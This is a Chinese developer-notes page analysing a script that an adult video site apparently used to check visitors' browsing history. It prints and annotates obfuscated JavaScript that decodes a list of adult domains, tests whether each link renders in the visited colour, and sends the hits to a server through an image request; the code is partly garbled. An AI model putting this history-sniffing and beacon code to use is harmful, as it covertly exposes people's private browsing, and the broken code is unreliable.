热门标签 | HotTags
当前位置:  开发笔记 > 前端 > 正文

悄悄用脚本检查你访问过哪些网站的代码

YouPorn是YouTube的成人自拍版,Alexa排名61。如果你登陆YouPorn主页,它会悄悄用脚本检查你访问过哪些色情网站。
打开它的“页面源文件”,你能找到一段加密过的JS脚本:
代码如下:

function ypol(){
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"};
var g=[];
for(var m in k){
var d=k[m]; //遍历k中的元素赋值给d
var a="";
for(var f=0;fa+=String.fromCharCode(d.charCodeAt(f)-1);
}/* 这里把d中的每一条字符都还原了。
* charCodeAt(char) 函数返回char的ascii码
* String.fromCharCode(asccii) 返回ascii码对应的字符
* 然后把结果赋值给a
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com
*/
var h=false;
/*
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/
* 为什么要循环来2次,目的是为了准确性
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名
* 所以要区别对待
*/
for(var j in {"http://":"","http://www.":""}){
var l=document.createElement("a"); //创建一个A对象
l.href=j+a;
document.getElementById("ol").appendChild(l);
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS
var e="";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; //取IE中A对象的颜色
}else {
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
//取其他标准浏览器的颜色
}
if(e=="#0c2238"||e=="#0c2238"){
/*
* 如果是紫色,就表示访问过此站点。
* 浏览器默认给访问过的链接标记为紫色
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //如果访问过,把站点加入列表g
g.push(m);
}
}
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串
var c=document.createElement("img"); //建立一个img对象
c.src="https://img.devbox.cn/3cccf/16086/243/5e25fe10f29a56d2.png?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样
/*
* 以一次图片访问,在web-server

推荐阅读
  • 深入理解Cookie与Session会话管理
    本文详细介绍了如何通过HTTP响应和请求处理浏览器的Cookie信息,以及如何创建、设置和管理Cookie。同时探讨了会话跟踪技术中的Session机制,解释其原理及应用场景。 ... [详细]
  • Vue 2 中解决页面刷新和按钮跳转导致导航栏样式失效的问题
    本文介绍了如何通过配置路由的 meta 字段,确保 Vue 2 项目中的导航栏在页面刷新或内部按钮跳转时,始终保持正确的 active 样式。具体实现方法包括设置路由的 meta 属性,并在 HTML 模板中动态绑定类名。 ... [详细]
  • 本文详细介绍了IBM DB2数据库在大型应用系统中的应用,强调其卓越的可扩展性和多环境支持能力。文章深入分析了DB2在数据利用性、完整性、安全性和恢复性方面的优势,并提供了优化建议以提升其在不同规模应用程序中的表现。 ... [详细]
  • QUIC协议:快速UDP互联网连接
    QUIC(Quick UDP Internet Connections)是谷歌开发的一种旨在提高网络性能和安全性的传输层协议。它基于UDP,并结合了TLS级别的安全性,提供了更高效、更可靠的互联网通信方式。 ... [详细]
  • 本周信息安全小组主要进行了CTF竞赛相关技能的学习,包括HTML和CSS的基础知识、逆向工程的初步探索以及整数溢出漏洞的学习。此外,还掌握了Linux命令行操作及互联网工作原理的基本概念。 ... [详细]
  • 技术分享:从动态网站提取站点密钥的解决方案
    本文探讨了如何从动态网站中提取站点密钥,特别是针对验证码(reCAPTCHA)的处理方法。通过结合Selenium和requests库,提供了详细的代码示例和优化建议。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 本文介绍了如何在具备多个IP地址的FTP服务器环境中,通过动态地址端口复用和地址转换技术优化网络配置。重点讨论了2Mb/s DDN专线连接、Cisco 2611路由器及内部网络地址规划。 ... [详细]
  • 本文详细介绍了如何使用Python编写爬虫程序,从豆瓣电影Top250页面抓取电影信息。文章涵盖了从基础的网页请求到处理反爬虫机制,再到多页数据抓取的全过程,并提供了完整的代码示例。 ... [详细]
  • 在Linux系统中配置并启动ActiveMQ
    本文详细介绍了如何在Linux环境中安装和配置ActiveMQ,包括端口开放及防火墙设置。通过本文,您可以掌握完整的ActiveMQ部署流程,确保其在网络环境中正常运行。 ... [详细]
  • 如何配置Unturned服务器及其消息设置
    本文详细介绍了Unturned服务器的配置方法和消息设置技巧,帮助用户了解并优化服务器管理。同时,提供了关于云服务资源操作记录、远程登录设置以及文件传输的相关补充信息。 ... [详细]
  • 如何在WPS Office for Mac中调整Word文档的文字排列方向
    本文将详细介绍如何使用最新版WPS Office for Mac调整Word文档中的文字排列方向。通过这些步骤,用户可以轻松更改文本的水平或垂直排列方式,以满足不同的排版需求。 ... [详细]
  • 探讨如何通过编程技术实现100个并发连接,解决线程创建顺序问题,并提供高效的并发测试方案。 ... [详细]
  • 本文详细介绍了如何使用PHP检测AJAX请求,通过分析预定义服务器变量来判断请求是否来自XMLHttpRequest。此方法简单实用,适用于各种Web开发场景。 ... [详细]
  • 创建第一个 MUI 移动应用项目
    本文将详细介绍如何使用 HBuilder 创建并运行一个基于 MUI 框架的移动应用项目。我们将逐步引导您完成项目的搭建、代码编写以及真机调试,帮助您快速入门移动应用开发。 ... [详细]
author-avatar
气质未央若
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有